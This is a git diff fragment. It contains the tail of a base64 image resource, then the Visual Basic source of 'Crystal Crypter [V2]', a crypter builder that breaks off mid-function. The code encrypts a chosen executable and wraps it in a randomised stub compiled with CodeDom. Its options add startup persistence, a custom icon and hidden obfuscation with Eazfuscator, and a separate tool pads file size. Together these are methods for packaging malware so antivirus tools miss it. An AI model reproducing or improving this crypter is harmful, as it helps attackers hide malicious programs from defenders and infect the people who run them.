Mf8yMjL/MzMz/zIyMv8wMDD/Ly8v/y8vL/8uLi//MzM0/1xcXP9BQUH/LCws/zIyMv86Ojr/RUVF/0pK + Sv83Nzf/Kysr/ywsLP8qKir/Kioq/ykpKf8oKCj/Jycn/yYmJv8lJSX/JCQk/yMjI/8hISH/ICAg/x8f + H/8eHh7/HBwc/xsbG/8aGhr/GBgY/xcXF/8VFRX/FBQU/xISEv8RERH/Dw8P/w4ODv8MDAz/CgoK/wkJ + Cf8HBwf/BgYG/wMDA98AAAAh////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BIiIiJyQk + JKUlJSX7JiYm/yYmJv8nJyf/KCgo/ykpKf8/Pz//Q0ND/zY2Nv81NTX/NTU1/zIyMv8tLS3/LS0t/y0t + Lf8sLCz/NTU1/1hYWP9XV1f/TU1N/01NTf9HR0f/NTU1/yoqKv8qKir/KSkp/ykpKf8oKCj/Jycn/yYm + Jv8lJSX/JCQk/yMjI/8iIiL/ISEh/yAgIP8eHh7/HR0d/xwcHP8bGxv/GRkZ/xgYGP8XFxf/FRUV/xQU + FP8SEhL/ERER/w8PD/8ODg7/DAwM/wsLC/8JCQn/BwcH/wYGBv8EBAT/AgICbf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////ASIiIksjIyPDJSUl/yYmJv8mJib/JiYm/zIy + Mv9KSkr/Pj4+/zY2Nv81NTX/NDQ0/ysrK/8rKyv/Kysr/ysrK/8qKir/Kysr/zc3N/85OTn/NDQ0/yoq + Kv8oKCj/KSkp/ygoKP8nJyf/Jycn/yUlJf8lJSX/JCQk/yMjI/8iIiL/ISEh/yAgIP8fHx//Hh4e/x0d + Hf8bGxv/Ghoa/xkZGf8YGBj/FhYW/xUVFf8UFBT/EhIS/xEREf8PDw//Dg4O/wwMDP8LCwv/CQkJ/wgI + CP8GBgb/BQUF/wMDA+0AAAAd////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////ASQkJAcjIyNfIyMjzSUlJf8mJib/JSUl/y0tLf86Ojr/NTU1/zMzM/8wMDD/KCgo/ygo + KP8oKCj/KCgo/ygoKP8oKCj/Jycn/yYmJv8nJyf/Jycn/ycnJ/8mJib/JiYm/yUlJf8lJSX/IyMj/yMj + I/8iIiL/ISEh/yAgIP8fHx//Hh4e/x0dHf8cHBz/Gxsb/xoaGv8YGBj/FxcX/xYWFv8VFRX/ExMT/xIS + Ev8RERH/Dw8P/w4ODv8MDAz/CwsL/wkJCf8ICAj/BgYG/wUFBf8DAwP/AQEB2f///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEuLi4LISEhVSMj + I78kJCT7JSUl/yQkJP8lJSX/JiYm/yUlJf8mJib/JiYm/yYmJv8mJib/JiYm/yYmJv8mJib/JiYm/yUl + Jf8lJSX/JSUl/yQkJP8kJCT/IyMj/yIiIv8iIiL/ISEh/yAgIP8fHx//Hh4e/x0dHf8cHBz/Gxsb/xoa + Gv8ZGRn/GBgY/xcXF/8VFRX/FBQU/xMTE/8SEhL/EBAQ/w8PD/8ODg7/DAwM/wsLC/8JCQn/CAgI/wYG + Bv8FBQX/AwMD/wEBAecAAAB/////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BAAAAAyEhIT8iIiKfIiIi5yMjI/8kJCT/IyMj/yMj + I/8kJCT/JCQk/yQkJP8kJCT/JCQk/yQkJP8jIyP/IyMj/yMjI/8iIiL/IiIi/yEhIf8hISH/ICAg/yAg + IP8fHx//Hh4e/x0dHf8cHBz/HBwc/xoaGv8ZGRn/GBgY/xcXF/8WFhb/FRUV/xQUFP8SEhL/ERER/xAQ + EP8PDw//DQ0N/wwMDP8LCwv/CQkJ/wgICP8GBgb/BQUF/wQEBM8CAgJzAAAAIf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wEgICAhICAgZyAgIL0hISHxIiIi/yIiIv8iIiL/IiIi/yIiIv8iIiL/ISEh/yEh + If8hISH/ISEh/yAgIP8gICD/Hx8f/x8fH/8eHh7/HR0d/x0dHf8cHBz/Gxsb/xoaGv8aGhr/GBgY/xcX + F/8WFhb/FRUV/xQUFP8TExP/EhIS/xEREf8QEBD/Dg4O/w0NDf8MDAz/CgoK/wkJCf8ICAj/BgYG2wUF + BZkEBARFAAAAB////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AR0d + HS0fHx9jHh4esR8fH98fHx//ICAg/yAgIP8gICD/Hx8f/x8fH/8eHh7/Hh4e/x4eHv8dHR3/HR0d/xwc + HP8bGxv/Gxsb/xoaGv8ZGRn/GBgY/xgYGP8WFhb/FRUV/xQUFP8TExP/EhIS/xEREf8QEBD/Dw8P/w4O + Dv8NDQ3/CwsL/wkJCfMJCQnNBwcHjwcHB0cAAAAT////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BFhYWFx0dHT8dHR1zHBwcrR0d + HdEdHR3tHR0d/x0dHf8dHR3/HBwc/xwcHP8bGxv/Gxsb/xoaGv8aGhr/GBgY/xgYGP8WFhb/FhYW/xQU + FP8UFBT/ExMT/xEREf8QEBD/Dw8P/w4ODvkNDQ3hDQ0NxwwMDJUJCQlZBgYGLQAAAAX///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BHBwcCRsbGycYGBg/GxsbXxoaGoEZGRmbGhoatRgY + GMMYGBjRFxcX0xcXF9MWFhbTFRUV0xMTE9MTExPTExMTyxEREcEQEBCrEBAQkQ4ODnENDQ1RCgoKNQsL + Cxn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////ARoaGgsXFxcLFxcXCxcXFwsXFxcLFxcXCxcX + FwsAAAAD////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA + + + \ No newline at end of file diff --git a/scode (Crystal Crypter [V2]/Form1.vb b/scode (Crystal Crypter [V2]/Form1.vb new file mode 100644 index 0000000..3d6eb14 --- /dev/null +++ b/scode (Crystal Crypter [V2]/Form1.vb @@ -0,0 +1,297 @@ +'Coded by : MammoTh +Imports System.CodeDom.Compiler +Imports System.Text +Imports System.IO +Public Class Form1 + + Public Shared crap As String + Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click + Try + + Dim sfd As New SaveFileDialog With {.Filter = ".exe|*.exe", .ShowHelp = True} + If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then + Dim encryption_key As String = random_key(2) + Dim source As String = My.Resources.source ' Declare temporary string storing the source for replacing + Dim vars As String() = {"%64%", "%1%", "%2%", "%4%"} + Dim vars2 As String() = {"%5%", "%9%", "%10%", "%01%", "%55%"} ' Declaring a String Array with all Strings to replace + For i As Integer = 0 To vars.Length - 1 ' Loop thought all Strings to replace + source = source.Replace(vars(i), random_key(16)) ' Replace the fill strings with a random String to make the Server more unique (Basic USG System) + source = source.Replace(vars2(i), random_key(7)) + Next + + If CheckBox4.Checked = True Then + source = source.Replace("msgoff", "msgon") + source = source.Replace("msghere", TextBox5.Text) + source = source.Replace("titlehere", TextBox6.Text) + + End If + TextBox2.Text = source + + If CheckBox1.Checked = True Then + source = source.Replace("startoff", "starton") + End If + source = source.Replace("lolil", encryption_key) + Dim input As Byte() = encrypt(IO.File.ReadAllBytes(TextBox1.Text), encryption_key) 'Read & Encrypt to crypt + source = source.Replace("%3%", CD.format(input)) ' Format the input bytes and place them in the temp source + crap = sfd.FileName + Codedom(sfd.FileName, source, "") ' Compile the source using CodeDom + If CheckBox2.Checked = True Then + IconInjector.InjectIcon(sfd.FileName, TextBox3.Text) + End If + If CheckBox3.Checked = True Then + Dim Folder As String = Application.StartupPath & "\EazFuscator\" + IO.Directory.CreateDirectory(Folder) + Dim AGConfigurationSettingsProvidersdll As String = "AG.Configuration.SettingsProviders.dll" + Dim AGDeploymentUpdatingdll As String = "AG.Deployment.Updating.dll" + Dim AGEazfuscatorNETInstallerdll As String = "AG.Eazfuscator.NET.Installer.dll" + Dim AGEazfuscatorNETSettingsdll As String = "AG.Eazfuscator.NET.Settings.dll" + Dim AGEazfuscatorNETUpdatingdll As String = "AG.Eazfuscator.NET.Updating.dll" + Dim CastleCoredll As String = "Castle.Core.dll" + Dim CastleMicroKerneldll As String = "Castle.MicroKernel.dll" + Dim EazfuscatorNET As String = "Eazfuscator.NET.exe" + Dim ICSharpCodeSharpZipLibdll As String = "ICSharpCode.SharpZipLib.dll" + Dim MicrosoftCciMetadataHelperdll As String = "Microsoft.Cci.MetadataHelper.dll" + Dim MicrosoftCciMetadataModeldll As String = "Microsoft.Cci.MetadataModel.dll" + Dim MicrosoftCciMutableMetadataModeldll As String = "Microsoft.Cci.MutableMetadataModel.dll" + Dim MicrosoftCciPeReaderdll As String = "Microsoft.Cci.PeReader.dll" + Dim MicrosoftCciPeWriterdll As String = "Microsoft.Cci.PeWriter.dll" + Dim MicrosoftCciSourceModeldll As String = "Microsoft.Cci.SourceModel.dll" + Dim MonoCecildll As String = "Mono.Cecil.dll " + My.Computer.FileSystem.WriteAllBytes(Folder & AGConfigurationSettingsProvidersdll, My.Resources.AG_Configuration_SettingsProviders, False) + My.Computer.FileSystem.WriteAllBytes(Folder & AGDeploymentUpdatingdll, My.Resources.AG_Deployment_Updating, False) + My.Computer.FileSystem.WriteAllBytes(Folder & AGEazfuscatorNETInstallerdll, My.Resources.AG_Eazfuscator_NET_Installer, False) + My.Computer.FileSystem.WriteAllBytes(Folder & AGEazfuscatorNETSettingsdll, My.Resources.AG_Eazfuscator_NET_Settings, False) + My.Computer.FileSystem.WriteAllBytes(Folder & AGEazfuscatorNETUpdatingdll, My.Resources.AG_Eazfuscator_NET_Updating, False) + My.Computer.FileSystem.WriteAllBytes(Folder & CastleCoredll, My.Resources.Castle_Core, False) + My.Computer.FileSystem.WriteAllBytes(Folder & CastleMicroKerneldll, My.Resources.Castle_MicroKernel, False) + My.Computer.FileSystem.WriteAllBytes(Folder & EazfuscatorNET, My.Resources.Eazfuscator_NET, False) + My.Computer.FileSystem.WriteAllBytes(Folder & ICSharpCodeSharpZipLibdll, My.Resources.ICSharpCode_SharpZipLib, False) + My.Computer.FileSystem.WriteAllBytes(Folder & MicrosoftCciMetadataHelperdll, My.Resources.Microsoft_Cci_MetadataHelper, False) + My.Computer.FileSystem.WriteAllBytes(Folder & MicrosoftCciMetadataModeldll, My.Resources.Microsoft_Cci_MetadataModel, False) + My.Computer.FileSystem.WriteAllBytes(Folder & MicrosoftCciMutableMetadataModeldll, My.Resources.Microsoft_Cci_MutableMetadataModel, False) + My.Computer.FileSystem.WriteAllBytes(Folder & MicrosoftCciPeReaderdll, My.Resources.Microsoft_Cci_PeReader, False) + My.Computer.FileSystem.WriteAllBytes(Folder & MicrosoftCciPeWriterdll, My.Resources.Microsoft_Cci_PeWriter, False) + My.Computer.FileSystem.WriteAllBytes(Folder & MicrosoftCciSourceModeldll, My.Resources.Microsoft_Cci_SourceModel, False) + My.Computer.FileSystem.WriteAllBytes(Folder & MonoCecildll, My.Resources.Mono_Cecil, False) + Dim FS As String = Application.StartupPath & "\Obfuscate.bat" + Dim SW As New IO.StreamWriter(FS) + SW.Write(EazfuscatorNET & " " & IO.Path.GetFileName(sfd.FileName)) + SW.Flush() + SW.Close() + Dim P As New Process + P.StartInfo.FileName = FS + P.StartInfo.WindowStyle = ProcessWindowStyle.Hidden + P.Start() + P.WaitForExit() + IO.File.Delete(FS) + Try + IO.Directory.Delete(Folder) + Catch + End Try + End If + MessageBox.Show("File encrypted successfully.", "", MessageBoxButtons.OK, MessageBoxIcon.Information) + + End If + Catch ex As Exception + MsgBox(ex.Message, MsgBoxStyle.Critical, "Error") + End Try + End Sub + Sub Codedom(ByVal Path As String, ByVal Code As String, ByVal MainClass As String) + Dim providerOptions = New Collections.Generic.Dictionary(Of String, String) 'added, kobac + providerOptions.Add("CompilerVersion", "v3.5") + Dim CodeProvider As New Microsoft.CSharp.CSharpCodeProvider(providerOptions) 'modified... + Dim Parameters As New CompilerParameters + With Parameters + .GenerateExecutable = True + .OutputAssembly = Path + .CompilerOptions += "/platform:X86 /unsafe /target:winexe" + .MainClass = MainClass + .IncludeDebugInformation = False + .ReferencedAssemblies.Add("System.Windows.Forms.dll") + .ReferencedAssemblies.Add("system.dll") + .ReferencedAssemblies.Add(Process.GetCurrentProcess().MainModule.FileName) + .ReferencedAssemblies.Add(Application.ExecutablePath) + End With + Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code) + If Results.Errors.Count > 0 Then + For Each E In Results.Errors + MsgBox(E.ErrorText) + Next + End If + End Sub + Public Function random_key(ByVal lenght As Integer) As String + Randomize() + Dim s As New System.Text.StringBuilder("") + Dim b() As Char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray() + For i As Integer = 1 To lenght + Randomize() + Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1 + s.Append(b(z)) + Next + Return s.ToString + End Function + Public Function encrypt(ByVal message As Byte(), ByVal password As String) As Byte() + Dim passarr As Byte() = System.Text.Encoding.UTF8.GetBytes(password) + Randomize() + Dim rand As Integer = Int((255 - 0 + 1) * Rnd()) + 1 + Dim outarr(message.Length) As Byte + Dim u As Integer + For i As Integer = 0 To message.Length - 1 + outarr(i) += (message(i) Xor passarr(u)) Xor rand + If u = password.Length - 1 Then u = 0 Else u = u + 1 + Next + outarr(message.Length) = 112 Xor rand + Return outarr + End Function + Dim o As New OpenFileDialog With {.Filter = ".exe|*.exe", .ShowHelp = True} + Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click + + If o.ShowDialog = vbOK Then + TextBox1.Text = o.FileName + Label1.Text = o.FileName + End If + End Sub + + Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click + Codedom(crap, TextBox2.Text, "") ' Compile the source using CodeDom + End Sub + + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + Me.ShowIcon = False + Label4.Text = "Stub Size : " & System.Text.Encoding.UTF8.GetBytes(My.Resources.source).Length \ 1024 & "Kb" + End Sub + + Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox2.CheckedChanged + If CheckBox2.Checked = True Then + TextBox4.Enabled = True + Button4.Enabled = True + Else + TextBox4.Enabled = False + Button4.Enabled = False + End If + End Sub + + Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click + Dim ooo As New OpenFileDialog + ooo.DefaultExt = "ico" + ooo.Filter = "Icon Files (*.ico*)|*.ico*" + ooo.FilterIndex = 1 + ooo.FileName = "" + If ooo.ShowDialog(Me) = 1 Then + TextBox3.Text = ooo.FileName + End If + End Sub + + Private Sub CheckBox4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox4.CheckedChanged + If CheckBox4.Checked = True Then + TextBox6.Enabled = True + TextBox5.Enabled = True + Else + TextBox6.Enabled = False + TextBox5.Enabled = False + End If + End Sub + + Private Sub LineShape1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LineShape1.Click + + End Sub + + Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox3.TextChanged + + End Sub + + Private Sub TreeView1_AfterSelect(ByVal sender As System.Object, ByVal e As System.Windows.Forms.TreeViewEventArgs) + + End Sub + + Private Sub TextBox6_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox6.TextChanged + + End Sub + + + Private Sub Label4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label4.Click + + End Sub + + Private Sub Label8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label8.Click + + End Sub + + Private Sub GroupBox1_Enter(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GroupBox1.Enter + + End Sub + + Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click + OpenFileDialog1.DefaultExt = "exe" + OpenFileDialog1.Filter = "exe files (*.exe)|*.exe" + OpenFileDialog1.FilterIndex = 1 + If OpenFileDialog1.ShowDialog(Me) = DialogResult.OK Then + TextBox7.Text = String.Empty + TextBox7.Text = OpenFileDialog1.FileName + End If + End Sub + + Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click + If TextBox6.Text = "" Then + MsgBox("Enter bytes to add") + Else + Dim file1 = File.OpenWrite(TextBox5.Text) + Dim siza = file1.Seek(0, SeekOrigin.[End]) + Dim size = Convert.ToInt32(TextBox6.Text) + Dim bite As Decimal = size * 1048576 + While siza < bite + siza += 1 + file1.WriteByte(0) + End While + file1.Close() + MessageBox.Show("Done !") + End If + End Sub + + Private Sub CheckBox5_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox5.CheckedChanged + If CheckBox5.Checked = True Then + TextBox7.Enabled = True + TextBox8.Enabled = True + Button5.Enabled = True + Button6.Enabled = True + Else + TextBox7.Enabled = False + TextBox8.Enabled = False + Button5.Enabled = False + Button6.Enabled = False + End If + End Sub +End Class +Public Class CD + Public Shared Function format(ByVal input As Byte()) As String ' Codedom has maximum of possible chars per line so we are storing the string in multiple strings + Dim out As New System.Text.StringBuilder ' Declaring a new StringBuilder to store the output string + Dim base64data As String = Convert.ToBase64String(input) ' Get a readable String from the Byte Array + Dim arr As String() = SplitString(base64data, 50000) ' Split the string into parts to fit in the Codedom-lines + For i As Integer = 0 To arr.Length - 1 ' Looping thought each string in the array + If i = arr.Length - 1 Then ' If i equals the highest number + out.Append(Chr(34) & arr(i) & Chr(34)) + Else 'I is smaller than arr.Length - 1 (i < arr.Length - 1) + out.Append(Chr(34) & arr(i) & Chr(34) & " + " & vbNewLine) + End If + 